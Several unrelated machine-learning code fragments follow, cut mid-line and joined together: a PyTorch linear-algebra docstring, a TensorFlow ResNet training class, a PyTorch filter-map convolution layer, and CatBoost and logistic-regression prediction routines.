:attr:`input`. The output dtype is always real valued even for complex inputs (e.g. float if :attr:`input` is cfloat). Examples:: >>> a = torch.randn(3, 4, 4, dtype=torch.complex64) >>> torch.linalg.cond(a) >>> a = torch.tensor([[1., 0, -1], [0, 1, 0], [1, 0, 1]]) >>> torch.linalg.cond(a) tensor([1.4142]) >>> torch.linalg.cond(a, 'fro') tensor(3.1623) >>> torch.linalg.cond(a, 'nuc') tensor(9.2426) >>> torch.linalg.cond(a, float('inf')) tensor(2.) >>> torch.linalg.cond(a, float('-inf')) tensor(1.) >>> torch.linalg.cond(a, 1) tensor(2.) >>> torch.linalg.cond(a, -1) tensor(1.) >>> torch.linalg.cond(a, 2) tensor([1.4142]) >>> torch.linalg.cond(a, -2) tensor([0.7071]) >>> a = torch.randn(2, 3, 3) >>> a tensor([[[-0.9204, 1.1140, 1.2055], [ 0.3988, -0.2395, -0.7441], [-0.5160, 0.3115, 0.2619]], [[-2.2128, 0.9241, 2.1492], [-1.1277, 2.7604, -0.8760], [ 1.2159, 0.5960, 0.0498]]]) >>> torch.linalg.cond(a) tensor([[9.5917], [3.2538]]) >>> a = torch.randn(2, 3, 3, dtype=torch.complex64) >>> a tensor([[[-0.4671-0.2137j, -0.1334-0.9508j, 0.6252+0.1759j], [-0.3486-0.2991j, -0.1317+0.1252j, 0.3025-0.1604j], [-0.5634+0.8582j, 0.1118-0.4677j, -0.1121+0.7574j]], [[ 0.3964+0.2533j, 0.9385-0.6417j, -0.0283-0.8673j], [ 0.2635+0.2323j, -0.8929-1.1269j, 0.3332+0.0733j], [ 0.1151+0.1644j, -1.1163+0.3471j, -0.5870+0.1629j]]]) >>> torch.linalg.cond(a) tensor([[4.6245], [4.5671]]) >>> torch.linalg.cond(a, 1) tensor([9.2589, 9.3486]) """) pinv = _add_docstr(_linalg.linalg_pinv, r""" linalg.pinv(input, rcond=1e-15, hermitian=False, *, out=None) -> Tensor Computes the pseudo-inverse (also known as the Moore-Penrose inverse) of a matrix :attr:`input`, or of each matrix in a batched :attr:`input`. The singular values (or the absolute values of the eigenvalues when :attr:`hermitian` is ``True``) that are below the specified :attr:`rcond` threshold are treated
import numpy as np import tensorflow as tf # from models.AbstractModel import AbstractModel from utils.TensorUtil import resnet_bottleneck_head_block from utils.TensorUtil import resnet_bottleneck_identity_block from utils.TensorUtil import conv_prelu from utils.TensorUtil import max_pool from utils.TensorUtil import avg_pool from utils.TensorUtil import fc_prelu from utils.DataAugmentation import do_nothing, data_augmentation, data_augmentation_wrapper from utils.Reader import AdvancedReader from sklearn.metrics import roc_curve, auc class MyResNetPrefetcher: type = 'ResNet_Bottleneck' def __init__(self, network_config, tr_reader=None, val_reader=None, model_path=None, resurrection_path=None, name='ResNetPrefetcher'): self.network_config = network_config self.name = name self.resStackDescription = '' self.batch_shape = None self.num_weight_layers = 0 self.num_trainable_params = None self.diagnostics = {} self.session = None # For QueueRunner, this must be a Monitored Session # DISABLE the object's own graph! USE THE SAME DEFAULT GRAPH FOR ALL INSTANCE of the same config. # self.graph = tf.Graph().as_default() # Default computation graph maintained by the network itself. # Some nodes of interest self.inputs = None # possible placeholder self.labels = None # possible placeholder self.labels_1hot = None self.logits = None self.penultimate_features = None self.predictions = None self.predictions_1hot = None self.loss = None self.learning_rate = None self.train_op = None self.saver = None self.resurrector = None self.init = None self.is_training = None # possible placeholder self.momentum = None # possible placeholder self.rmin = None # possible placeholder self.rmax = None # possible placeholder self.dmax = None # possible placeholder # Extra nodes for test-time data augmentation. Not the best way, but currently it is what it is! self.ttaug_input = None self.ttaug_input_aug = None self.descriptor = None self.model_path = model_path # Best model is saved at this location self.resurrection_path = resurrection_path # Where the model is saved and reloaded from during training. # Resurrection avoids the slow-down of Tensorflow due to thread-caching, fragmentation, etc... # Readers for training and inference self.reader_tr = tr_reader self.reader_val = val_reader # Dataset from generator configuration self.iterator = None # A common iterator, maybe a feedable one self.dataset_tr = None # Then, respective datasets and iterators self.initializer_tr = None # Not needed if Feedable iterators used self.dataset_val = None self.initializer_val = None self.dataset_ttaug = None self.initializer_ttaug = None self.next_element = None self._current_iter_tr = None # useful for momentum, rmax, rmin, dmax, etc.. self._sampling = None # These are useful for generators self.output_dtypes = (tf.float32, tf.int32, tf.bool, tf.float32, tf.float32, tf.float32, tf.float32) self.output_shapes = None assert len(self.network_config['conv_depths']) == len(self.network_config['num_filters']), \ 'Convolutional stack depths do not match the number of filters per stack' self.num_weight_layers = self.num_weight_layers + 1 # conv1: 1 weight layer for i in range(len(self.network_config['conv_depths'])): self.num_weight_layers = self. num_weight_layers + self.network_config['conv_depths'][i] * \ len(self.network_config['num_filters'][i]) self.resStackDescription = self.resStackDescription + str(self.network_config['conv_depths'][i]) self.num_weight_layers = self.num_weight_layers + len(self.network_config['fc_depths']) # FC layers self.num_weight_layers = self.num_weight_layers + 1 # logits to softmax: 1 weight layer print('Total number of weight layers : %g' % self.num_weight_layers) print('Residual stack depths : %s ' % self.resStackDescription) self.descriptor = '_' + str(self.resStackDescription) + \ '_regConst_' + str(self.network_config['lambda']) + \ '_lr_' + str(self.network_config['lr']) + \ '_m_' + str(self.network_config['batch_size']) if self.network_config['data_aug']: self.descriptor = self.descriptor + '_dataAug_' + str(self.network_config['data_aug_prob']) self.descriptor = self.name + str(self.num_weight_layers) + self.descriptor if self.model_path is None: self.model_path = '../modelstore/' + self.descriptor # + '.ckpt' else: self.model_path = self.model_path + self.descriptor # + '.ckpt' if self.resurrection_path is None: self.resurrection_path = '../resurrection/' + self.descriptor # + '_RESURRECTION' # .ckpt' else: self.resurrection_path = self.resurrection_path + self.descriptor # + '_RESURRECTION' # .ckpt' # Since the generator is attached to a dataset with its arguments, dynamic input, such as iter, etc.... def generator_train(self, batch_size, normalize, max_iter): oversampling_threshold = int(max_iter * self.network_config['oversampling_limit']) for _ in range(max_iter): if self._current_iter_tr < oversampling_threshold: self._sampling = 'balanced' else: self._sampling = 'stratified' x_batch, y_batch, _ = self.reader_tr.next_batch(batch_size=batch_size, normalize=normalize, shuffle=True, sampling=self._sampling) progress = float(self._current_iter_tr) / float(max_iter) # momentum settings momentum_max = self.network_config['momentum_max'] if progress <= 0.95: momentum = 1 - np.power(2, -1 - np.log2(np.floor(self._current_iter_tr / 250.) + 1)) else: momentum = 0.5 momentum = np.minimum(momentum, momentum_max) # Params for Batch Renormalization if progress < 0.01: # up to this point, use BatchNorm alone rmax = 1. rmin = 1. dmax = 0. else: # then, gradually increase the clipping values rmax = np.exp(1.5 * progress) # 2. rmin = 1. / rmax dmax = np.exp(2.0 * progress) - 1 # 2.5 if progress > 0.95: rmin = 0. yield (x_batch, y_batch, True, momentum, rmin, rmax, dmax) def generator_val(self, batch_size, normalize, quick_eval=False): i = 0 while not self.reader_val.exhausted_test_cases: x_batch, y_batch, _ = self.reader_val.next_batch(batch_size=batch_size, normalize=normalize, shuffle=False) if quick_eval and i == 50: self.reader_val.exhausted_test_cases = True i += 1 yield (x_batch, y_batch, False, 0, 1, 1, 0) def generator_ttaug(self, normalize, quick_eval=False): i = 0 while not self.reader_val.exhausted_test_cases: org_ex, label, _ = self.reader_val.next_batch(batch_size=1, normalize=normalize, shuffle=False) feed_img = {self.ttaug_input: org_ex} images = [] labels = [] for k in range(self.network_config['T']): aug_ex = np.squeeze(self.session.run([self.ttaug_input_aug], feed_dict=feed_img)) images.append(aug_ex) labels.append(label) x_batch = np.reshape(np.asarray(images, dtype=np.float32), [-1, 512, 512, 3]) y_batch = np.reshape(np.asarray(labels, dtype=np.float32), [-1, 1]) if quick_eval and i == 50: self.reader_val.exhausted_test_cases = True i += 1 yield (x_batch, y_batch, False, 0, 1, 1, 0) def build(self, expose_inputs=False): print('Building the model graph...') conv_stack_depths = self.network_config['conv_depths'] num_filters = self.network_config['num_filters'] fc_depths = self.network_config['fc_depths'] lambda_ = self.network_config['lambda'] learning_rate = self.network_config['lr'] decay_steps = self.network_config['decay_steps'] decay_rate = self.network_config['decay_rate'] data_aug = self.network_config['data_aug'] data_aug_prob = self.network_config['data_aug_prob'] # Now, construct the ResNet architecture print('Instance shape : ' + str(self.network_config['instance_shape'])) self.batch_shape = [None] for num in self.network_config['instance_shape']: self.batch_shape.append(num) print('Batch shape : ' + str(self.batch_shape)) print('Num. of classes : ' + str(self.network_config['num_classes'])) self.output_shapes = (self.batch_shape, [None, 1], [], [], [], [], []) # First, some control mechanism to drive the network with tf.name_scope('cockpit'): # For faster training/validation, isolate the inputs (placeholders) and use the generators if not expose_inputs: # Use CPU for iterators and prefetching. Hmmm, leads to slow performance with less GPU usage??? # with tf.device('/cpu:0'): # TRAINING DATA GENERATOR self.dataset_tr = tf.data.Dataset.from_generator(generator=self.generator_train, output_types=self.output_dtypes, output_shapes=self.output_shapes, args=([self.network_config['batch_size'], True, self.network_config['max_iter']])) self.dataset_tr = self.dataset_tr.prefetch(buffer_size=self.network_config['dataset_buffer_size']) # batch(batch_size=1) # VALIDATION DATA GENERATOR, used while training as well as inference self.dataset_val = tf.data.Dataset.from_generator(generator=self.generator_val, output_types=self.output_dtypes, output_shapes=self.output_shapes, args=([self.network_config['batch_size'], True, self.network_config['quick_dirty_val']])) self.dataset_val = self.dataset_val.prefetch(buffer_size=self.network_config['dataset_buffer_size']) # batch(batch_size=1) # TTAUG DATA GENERATOR self.dataset_ttaug = tf.data.Dataset.from_generator(generator=self.generator_ttaug, output_types=self.output_dtypes, output_shapes=self.output_shapes, args=(True, self.network_config['quick_dirty_val'])) self.dataset_ttaug = self.dataset_ttaug.prefetch(buffer_size=self.network_config['dataset_buffer_size']) # batch(batch_size=1) # Common iterator for both datasets # Iterator has to have same output types across all Datasets to be used self.iterator = tf.data.Iterator.from_structure(self.dataset_tr.output_types, self.dataset_tr.output_shapes) # Initialize with required Datasets NOT NEEDED if feedable iterator is used! self.initializer_tr = self.iterator.make_initializer(self.dataset_tr, name='initializer_tr') self.initializer_val = self.iterator.make_initializer(self.dataset_val, name='initializer_val') self.initializer_ttaug = self.iterator.make_initializer(self.dataset_ttaug, name='initializer_ttaug') # Saving of STATEFUL FUNCTIONs is not supported yet.... SO, DO NOT SAVE the iterator state... # saveable = tf.contrib.data.make_saveable_from_iterator(self.iterator) # tf.add_to_collection(tf.GraphKeys.SAVEABLE_OBJECTS, saveable) # For deployment, expose the inputs (placeholders) and resort to the feed_dict mechanism if expose_inputs: self.is_training = tf.placeholder(dtype=tf.bool, name='is_training') self.momentum = tf.placeholder(dtype=tf.float32, shape=[], name='momentum_coefficient') # self.keep_prob = tf.placeholder(dtype=tf.float32, shape=[], name='keep_prob_for_dropout') with tf.name_scope('layer0'): if not expose_inputs: [self.inputs, self.labels, self.is_training, self.momentum, self.rmin, self.rmax, self.dmax] = \ self.iterator.get_next(name="next_element") else: self.inputs = tf.placeholder(dtype=tf.float32, shape=self.batch_shape, name='inputs') self.labels = tf.placeholder(dtype=tf.int32, shape=[None, 1], name='labels') self.rmin = tf.placeholder(dtype=tf.float32, shape=[1], name='renorm_clip_rmin') self.rmax = tf.placeholder(dtype=tf.float32, shape=[1], name='renorm_clip_rmax') self.dmax = tf.placeholder(dtype=tf.float32, shape=[1], name='renorm_clip_dmax') self.labels_1hot = tf.squeeze(tf.one_hot(indices=self.labels, depth=self.network_config['num_classes'], name='labels_1hot')) # branching for data augmentation operations in training if data_aug: inputs_aug = tf.cond(self.is_training, true_fn=lambda: data_augmentation_wrapper(self.inputs, data_aug_prob=data_aug_prob), false_fn=lambda: do_nothing(self.inputs), name='data_augmentation_if_training' ) inputs2next = inputs_aug else: inputs2next = self.inputs # What if the standardization reduces the impact of data augmentation? Overthinking! Just use it!!!! # For instance, random contrast increases/decreases the contrast between pixels, but standardization # eliminates such changes. inputs2next = tf.map_fn(lambda img: tf.image.per_image_standardization(img), inputs2next, dtype=tf.float32, name='image_standardization') # Placeholder to be filled at test-time and by an outsider! scope = 'ttaug' with tf.name_scope(scope): self.ttaug_input = tf.placeholder(dtype=tf.float32, shape=self.batch_shape, name='ttaug_input') self.ttaug_input_aug = data_augmentation(self.ttaug_input) scope = 'conv1' # the very first 5x5 convolution and pooling operations on inputs with tf.variable_scope(scope): print(scope) inputs2next = conv_prelu(inputs=inputs2next, kernel_shape=[7, 7], num_filters=num_filters[0][0], strides=[2, 2], reg_const=lambda_, is_training=self.is_training, rmin=self.rmin, rmax=self.rmax, dmax=self.dmax ) inputs2next = max_pool(inputs2next, kernel_shape=[3, 3], strides=[2, 2], padding='SAME') # Iterate over convolutional stacks for stack_idx in range(len(conv_stack_depths)): scope = 'conv' + str(stack_idx+2) with tf.variable_scope(scope): # e.g., conv2 head_placed = False # Iterate over residual block in each conv. stack for i in range(conv_stack_depths[stack_idx]): with tf.variable_scope(str(i + 1)): #
import torch import torch.nn as nn import math import torch.utils.model_zoo as model_zoo import torch.nn.functional as F from torch.autograd import Variable # coding=utf-8 import math #import torch from torch.nn.parameter import Parameter #from .. import functional as F #from torch.module import Module #from torch.nn.module.utils import _single, _pair, _triple from numpy import prod import collections from itertools import repeat import pdb def _ntuple(n): def parse(x): if isinstance(x, collections.Iterable): return x return tuple(repeat(x, n)) return parse _single = _ntuple(1) _pair = _ntuple(2) _triple = _ntuple(3) _quadruple = _ntuple(4) class _ConvNd_filtermap_1x1_compression(torch.nn.Module): def __init__(self, in_channels, out_channels, channel_compression_1x1, kernel_size, stride, padding, dilation, transposed, output_padding, groups, bias): super(_ConvNd_filtermap_1x1_compression, self).__init__() if in_channels % groups != 0: raise ValueError('in_channels must be divisible by groups') if out_channels % groups != 0: raise ValueError('out_channels must be divisible by groups') self.in_channels = in_channels self.out_channels = out_channels self.kernel_size = kernel_size self.stride = stride self.padding = padding self.dilation = dilation self.transposed = transposed self.output_padding = output_padding self.groups = groups if kernel_size[0] == 1 and kernel_size[1] == 1: #for 1x1 conv layer self.sample_y = 1 self.sample_x = 1 self.sample_c = out_channels #channel_compression_1x1 == 8 or 16 reduced_param = (in_channels // groups)*out_channels/channel_compression_1x1 #we need the reduced_param to be larger than the input channels assert reduced_param >= in_channels self.stride_y = 1 #kernel_size[0] self.stride_x = 1 #kernel_size[1] self.stride_c = reduced_param // self.sample_c else: if out_channels == 64: #64 = 4*4*4 self.sample_y = 4 self.sample_x = 4 self.sample_c = 4 elif out_channels == 128: #128 = 8*4*4 self.sample_y = 8 self.sample_x = 4 self.sample_c = 4 elif out_channels == 256: #256 = 8*8*4 self.sample_y = 8 self.sample_x = 8 self.sample_c = 4 elif out_channels == 512: #512 = 8*8*8 self.sample_y = 8 self.sample_x = 8 self.sample_c = 8 else: size_sqrt = int(math.ceil(math.sqrt(out_channels))) self.sample_y = size_sqrt self.sample_x = size_sqrt self.sample_c = 1 print('undefined out_channels = %d' % (out_channels)) #fm_channel = (in_channels // groups) // 2 #for compression rate of 18 if in_channels // groups == 3: if out_channels == 64: #64 = 8*8 self.sample_y = 8 self.sample_x = 8 self.sample_c = 1 else: print('undefined out_channels = %d when in_channels is 3' %d (out_channels)) self.stride_y = 2 #kernel_size[0] self.stride_x = 2 #kernel_size[1] self.stride_c = (in_channels // groups) // self.sample_c #in_channels // groups fm_height = self.sample_y*self.stride_y fm_width = self.sample_x*self.stride_x fm_channel = self.sample_c*self.stride_c # for compression rate of 9 self.filtermap = Parameter(torch.Tensor(fm_channel, fm_height, fm_width)) #self.input_weight = Parameter(torch.Tensor(in_channels // groups * kernel_size[0] * kernel_size[1], out_channels)) #self.transform_mat = Parameter(torch.Tensor(out_channels, self.compressed_channels)) #self.transform_back_mat = Parameter(torch.Tensor(self.compressed_channels, out_channels)) #if transposed: #self.weight = Parameter(torch.Tensor( # in_channels, out_channels // groups, *kernel_size)) #else: #self.weight = Parameter(torch.Tensor( # out_channels, in_channels // groups, *kernel_size)) if bias: self.bias = Parameter(torch.Tensor(out_channels)) else: self.register_parameter('bias', None) self.reset_parameters() def reset_parameters(self): n = self.in_channels for k in self.kernel_size: n *= k stdv = 1. / math.sqrt(n) #self.weight.data.uniform_(-stdv, stdv) #pdb.set_trace() self.filtermap.data.uniform_(-stdv, stdv) if self.bias is not None: self.bias.data.uniform_(-stdv, stdv) def __repr__(self): s = ('{name}({in_channels}, {out_channels}, kernel_size={kernel_size}' ', stride={stride}') if self.padding != (0,) * len(self.padding): s += ', padding={padding}' if self.dilation != (1,) * len(self.dilation): s += ', dilation={dilation}' if self.output_padding != (0,) * len(self.output_padding): s += ', output_padding={output_padding}' if self.groups != 1: s += ', groups={groups}' if self.bias is None: s += ', bias=False' s += ')' return s.format(name=self.__class__.__name__, **self.__dict__) class _ConvNd_filtermap(torch.nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride, padding, dilation, transposed, output_padding, groups, bias): super(_ConvNd_filtermap, self).__init__() if in_channels % groups != 0: raise ValueError('in_channels must be divisible by groups') if out_channels % groups != 0: raise ValueError('out_channels must be divisible by groups') self.in_channels = in_channels self.out_channels = out_channels self.kernel_size = kernel_size self.stride = stride self.padding = padding self.dilation = dilation self.transposed = transposed self.output_padding = output_padding self.groups = groups if out_channels == 64: #64 = 4*4*4 self.sample_y = 4 self.sample_x = 4 self.sample_c = 4 elif out_channels == 128: #128 = 8*4*4 self.sample_y = 8 self.sample_x = 4 self.sample_c = 4 elif out_channels == 256: #256 = 8*8*4 self.sample_y = 8 self.sample_x = 8 self.sample_c = 4 elif out_channels == 512: #512 = 8*8*8 self.sample_y = 8 self.sample_x = 8 self.sample_c = 8 else: size_sqrt = int(math.ceil(math.sqrt(out_channels))) self.sample_y = size_sqrt self.sample_x = size_sqrt self.sample_c = 1 print('undefined out_channels = %d' % (out_channels)) #fm_channel = (in_channels // groups) // 2 #for compression rate of 18 if in_channels // groups == 3: if out_channels == 64: #64 = 8*8 self.sample_y = 8 self.sample_x = 8 self.sample_c = 1 else: print('undefined out_channels = %d when in_channels is 3' %d (out_channels)) self.stride_y = 2 #kernel_size[0] self.stride_x = 2 #kernel_size[1] self.stride_c = (in_channels // groups) // self.sample_c #in_channels // groups fm_height = self.sample_y*self.stride_y fm_width = self.sample_x*self.stride_x fm_channel = self.sample_c*self.stride_c # for compression rate of 9 self.filtermap = Parameter(torch.Tensor(fm_channel, fm_height, fm_width)) #self.input_weight = Parameter(torch.Tensor(in_channels // groups * kernel_size[0] * kernel_size[1], out_channels)) #self.transform_mat = Parameter(torch.Tensor(out_channels, self.compressed_channels)) #self.transform_back_mat = Parameter(torch.Tensor(self.compressed_channels, out_channels)) #if transposed: #self.weight = Parameter(torch.Tensor( # in_channels, out_channels // groups, *kernel_size)) #else: #self.weight = Parameter(torch.Tensor( # out_channels, in_channels // groups, *kernel_size)) if bias: self.bias = Parameter(torch.Tensor(out_channels)) else: self.register_parameter('bias', None) self.reset_parameters() def reset_parameters(self): n = self.in_channels for k in self.kernel_size: n *= k stdv = 1. / math.sqrt(n) #self.weight.data.uniform_(-stdv, stdv) #pdb.set_trace() self.filtermap.data.uniform_(-stdv, stdv) if self.bias is not None: self.bias.data.uniform_(-stdv, stdv) def __repr__(self): s = ('{name}({in_channels}, {out_channels}, kernel_size={kernel_size}' ', stride={stride}') if self.padding != (0,) * len(self.padding): s += ', padding={padding}' if self.dilation != (1,) * len(self.dilation): s += ', dilation={dilation}' if self.output_padding != (0,) * len(self.output_padding): s += ', output_padding={output_padding}' if self.groups != 1: s += ', groups={groups}' if self.bias is None: s += ', bias=False' s += ')' return s.format(name=self.__class__.__name__, **self.__dict__) class Conv2d_filtermap(_ConvNd_filtermap): def __init__(self, in_channels, out_channels, kernel_size, binary_filtermap = False, stride=1, padding=0, dilation=1, groups=1, bias=True): kernel_size = _pair(kernel_size) stride = _pair(stride) padding = _pair(padding) dilation = _pair(dilation) super(Conv2d_filtermap, self).__init__( in_channels, out_channels, kernel_size, stride, padding, dilation, False, _pair(0), groups, bias) self.binary_filtermap = binary_filtermap self.reset_parameters1() #pdb.set_trace() #self.conv_weight = Parameter(torch.Tensor(out_channels, self.in_channels // self.groups, \ # self.kernel_size[0], self.kernel_size[1])) #self.conv_weight.requires_grad = False #self.conv_weight.cuda() def reset_parameters1(self): fm_size = self.filtermap.size() fm_width = fm_size[2] fm_height = fm_size[1] fm_depth = fm_size[0] # not for 1x1 conv, do the padding on the spatial self.fm_pad_width = fm_width + 1 self.fm_pad_height = fm_height + 1 self.fm_pad_depth = fm_depth*2 #set the ids for extracting filters from filtermap out_channels = self.out_channels in_channels = self.in_channels // self.groups k_h = self.kernel_size[0] k_w = self.kernel_size[1] sample_y = self.sample_y sample_x = self.sample_x sample_c = self.sample_c stride_y = self.stride_y stride_x = self.stride_x stride_c = self.stride_c fm_depth = self.fm_pad_depth fm_height = self.fm_pad_height fm_width = self.fm_pad_width ids = (torch.Tensor(range(0,k_h*k_w))) tmp_count = 0 for y in range(0,k_h): for x in range(0,k_w): ids[tmp_count] = y*fm_width+x tmp_count = tmp_count+1 ids0 = ids #pdb.set_trace() for c in range(1,in_channels): ids_c = ids0 + c*fm_height*fm_width ids = torch.cat((ids,ids_c),0) #ids0 = ids #for x in range(1, out_channels): # ids = torch.cat((ids,ids0),0) #pdb.set_trace() ids0 = ids for y in range(0,sample_y): for x in range(0,sample_x): if y == 0 and x == 0: continue ss = y*stride_y*fm_width + x*stride_x ids_ss = ids0+ss ids = torch.cat((ids,ids_ss),0) #pdb.set_trace() ids0 = ids for c in range(1,sample_c): ids_c = ids0+c*stride_c*fm_height*fm_width ids = torch.cat((ids,ids_c),0) #pdb.set_trace() #ids = ids.long() #ids = ids.detach() #pdb.set_trace() ids = ids.long() self.ids = Parameter(ids) self.ids.requires_grad = False #self.register_parameter() #if torch.max(ids) >= fm_depth*fm_height*fm_width or torch.min(ids) < 0: #print(torch.max(ids)) #ids = Variable(ids) def extract_filters(self): #pdb.set_trace() out_channels = self.out_channels in_channels = self.in_channels // self.groups k_h = self.kernel_size[0] k_w = self.kernel_size[1] #for compressing the channel by 2 times #if in_channels != 3: # filtermap_pad_tmp = torch.cat((self.filtermap,self.filtermap),0) #else: # filtermap_pad_tmp = self.filtermap #filtermap_pad = torch.cat((filtermap_pad_tmp,filtermap_pad_tmp),0) #for not compressing the channel filtermap_pad = torch.cat((self.filtermap,self.filtermap),0) # not for 1x1 conv, do the padding on the spatial filtermap_pad_s1 = filtermap_pad[:,1,:] filtermap_pad_s1 = filtermap_pad_s1[:,None,:] filtermap_pad = torch.cat((filtermap_pad,filtermap_pad_s1),1) filtermap_pad_s2 = filtermap_pad[:,:,1] filtermap_pad_s2 = filtermap_pad_s2[:,:,None] filtermap_pad = torch.cat((filtermap_pad,filtermap_pad_s2),2) #pdb.set_trace() ids = self.ids.detach() conv_weight = filtermap_pad.view(-1,1).index_select(0,ids) conv_weight = conv_weight.view(out_channels,in_channels,k_h,k_w) if self.binary_filtermap: binary_conv_weight = conv_weight.clone() for nf in
#[(ssa[probacolnames[i]]=allprob[:,i]) for i in range(cmd.qcut)] #add class column before probabilities dfinpred['CatBoost']=y_clf for i in range(len(ycolnames)): dfinpred[ycolnames[i]]=allprob[:,i] for i in range(len(ycolnames)): yw_prob=clf.predict_proba(X)[:,i] if cmdloutdir: pdfcl=os.path.join(cmdloutdir,fname) +"_cbcroc%1d.pdf" %i else: pdfcl=os.path.join(dirsplit,fname) +"_cbcroc%1d.pdf" %i plot_roc_curve(y,yw_prob,i,cmdlhideplot,pdfcl) yw=clf.predict(X) ywproba=clf.predict_proba(X) print('Full Data size: %5d'% len(yw)) print('Full Data Accuracy Score: %10.4f' % accuracy_score(y,yw)) print('Full Data Log Loss: %10.4f' %log_loss(y,ywproba)) ywdf=pd.DataFrame({'A':y.ravel(),'P':yw.ravel()}) print(pd.crosstab(ywdf['A'],ywdf['P'],rownames=['Actuall'], colnames=['Predicted'])) print(classification_report(y.ravel(),yw.ravel())) dfin['predqcodes']=yw if cmdlpredictionidcol: dfinpred=predictioncsv.addback_idcols(dfinpred) probacolnums=dfinpred.columns[-len(ycolnames):].tolist() idtargetdf=predictioncsv.idtarget_merge(predicteddf=dfinpred,predicteddfcols=probacolunms) savefiles(seisf=predictiondatacsv, sdf=dfinpred, wellf=modeldatacsv, sxydf=idtargetdf, wdf=dfin, outdir=cmdloutdir, ssuffix='_scbc', wsuffix='_wcbc',name2merge=modeldatacsv) #*************************** def process_TuneCatBoostClassifier(modeldatacsv,predictiondatacsv, cmdlmodelcolsrange=None, cmdlmodelcolselect=None, cmdlmodeltargetcol=None, cmdlmodelidcol=None, cmdlsamplemodel=None, cmdlmodelscalefeatures=None, cmdlmodelscalesave=True, cmdlpredictioncolsrange=None, cmdlpredictioncolselect=None, cmdlpredictionscalefeatures=None, cmdlsampleprediction=None, cmdlpredictionscalesave=None, cmdlkind=None, cmdlpredictionidcol=None, cmdlqcut=None, cmdlnqcutclasses=3, cmdltargetencode=None, cmdlcoded=None, cmdloutdir=None, cmdliterations=None, cmdllearningrate=None, cmdldepth=None, cmdlcv=None, cmdlvalsize=0.3, cmdlhideplot=False, cmdlclassweight=False): modelcsv=prepcsv(modeldatacsv,idcols=cmdlmodelidcol,targetcol=cmdlmodeltargetcol, colsrange=cmdlmodelcolsrange,colsselect=cmdlmodelcolselect, scalefeatures=cmdlmodelscalefeatures,scaletype=cmdlkind, qcut=cmdlqcut,nqcutclasses=cmdlnqcutclasses, targetencode=cmdltargetencode,coded=cmdlcoded, scalesave=True,sample=cmdlsamplemodel) #I hard coded scalesave to True for model data # returns X data, column names, and dataframe that is scaled X,colnames,dfin=modelcsv.extract_scale_cols() y,ycolnames=modelcsv.extract_target() if cmdlmodelidcol: dfin=modelcsv.addback_idcols(dfin) if cmdlmodeltargetcol: dfin,tcolnum=modelcsv.addback_targetcol(dfin) predictioncsv=prepcsv(predictiondatacsv,idcols=cmdlpredictionidcol,targetcol=None, colsrange=cmdlpredictioncolsrange,colsselect=cmdlpredictioncolselect, scalefeatures=cmdlpredictionscalefeatures,scaletype=cmdlkind, scalesave=False,sample=cmdlsampleprediction) #I hard coded prediction scale save to false to read already saved scaler file #extract and scale columns of data only Xpred,colnamespred,dfinpred=predictioncsv.extract_scale_cols() print('Pred df:',dfinpred.shape) dirsplit,fextsplit=os.path.split(modeldatacsv) fname,fextn=os.path.splitext(fextsplit) params={'iterations': cmdliterations, 'learning_rate': cmdllearningrate, 'depth': cmdldepth} grdcv=GridSearchCV(CatBoostClassifier(loss_function='MultiClass'),params,cv=cmdlcv) # Fit model grdcv.fit(X, y) print(grdcv.best_params_) clf=grdcv.best_estimator_ # Get predictions wpred=clf.predict(X) y_clf=clf.predict(Xpred, prediction_type='Class') #ypred=clf.predict(Xpred, prediction_type='RawFormulaVal') allprob=clf.predict_proba(Xpred) wproba=clf.predict_proba(X) print('All Data Accuracy Score: %10.4f' % accuracy_score(y,wpred)) print('Log Loss: %10.4f' %log_loss(y,wproba)) #[(ssa[probacolnames[i]]=allprob[:,i]) for i in range(cmd.qcut)] #add class column before probabilities dfinpred['TunedCatBoost']=y_clf for i in range(len(ycolnames)): dfinpred[ycolnames[i]]=allprob[:,i] yw=clf.predict(X) ywproba=clf.predict_proba(X) print('Full Data size: %5d'% len(yw)) print('Full Data Accuracy Score: %10.4f' % accuracy_score(y,yw)) print('Full Data Log Loss: %10.4f' %log_loss(y,ywproba)) ywdf=pd.DataFrame({'A':y.ravel(),'P':yw.ravel()}) print(pd.crosstab(ywdf['A'],ywdf['P'],rownames=['Actuall'], colnames=['Predicted'])) print(classification_report(y.ravel(),yw.ravel())) dfin['predqcodes']=yw if cmdlpredictionidcol: dfinpred=predictioncsv.addback_idcols(dfinpred) probacolnums=dfinpred.columns[-len(ycolnames):].tolist() idtargetdf=predictioncsv.idtarget_merge(predicteddf=dfinpred,predicteddfcols=probacolunms) savefiles(seisf=predictiondatacsv, sdf=dfinpred, wellf=modeldatacsv, wdf=dfin, sxydf=idtargetdf, outdir=cmdloutdir, ssuffix='_stcbc', wsuffix='_wtcbc',name2merge=modeldatacsv) #*************************** def process_logisticreg(modeldatacsv,predictiondatacsv, cmdlmodelcolsrange=None, cmdlmodelcolselect=None, cmdlmodeltargetcol=None, #target column for model csv cmdlmodelidcol=None, #idcolumn for model csv cmdlsamplemodel=None, #sampling of model data cmdlsampleprediction=None, #sampling of prediction data cmdlmodelscalefeatures=True, #scale model data cmdlpredictioncolsrange=None, cmdlpredictioncolselect=None, cmdlpredictionscalefeatures=True, #scale predcition data cmdlmodelscalesave=True, #save model scaler should be true cmdlpredictionscalesave=False, #save prediction scaler should be false to use already saved scaler cmdlkind='standard', cmdlpredictionidcol=None, #id column for prediction csv cmdltargetscale=None, cmdltargetencode=None, cmdlqcut=None, cmdlnqcutclasses=3, cmdlcoded=None, cmdlloadencoder=False, cmdlclassweight=False, cmdlcv=None, cmdlvalsize=0.3, cmdloutdir=None, cmdlhideplot=False): modelcsv=prepcsv(modeldatacsv,idcols=cmdlmodelidcol,targetcol=cmdlmodeltargetcol, colsrange=cmdlmodelcolsrange,colsselect=cmdlmodelcolselect, scalefeatures=cmdlmodelscalefeatures,scaletype=cmdlkind, qcut=cmdlqcut,nqcutclasses=cmdlnqcutclasses, targetencode=cmdltargetencode,coded=cmdlcoded, scalesave=True,sample=cmdlsamplemodel) #I hard coded scalesave to True for model data # returns X data, column names, and dataframe that is scaled X,colnames,dfin=modelcsv.extract_scale_cols() y,ycolnames=modelcsv.extract_target() if cmdlmodelidcol: dfin=modelcsv.addback_idcols(dfin) if cmdlmodeltargetcol: dfin,tcolnum=modelcsv.addback_targetcol(dfin) predictioncsv=prepcsv(predictiondatacsv,idcols=cmdlpredictionidcol,targetcol=None, colsrange=cmdlpredictioncolsrange,colsselect=cmdlpredictioncolselect, scalefeatures=cmdlpredictionscalefeatures,scaletype=cmdlkind, scalesave=False,sample=cmdlsampleprediction) #I 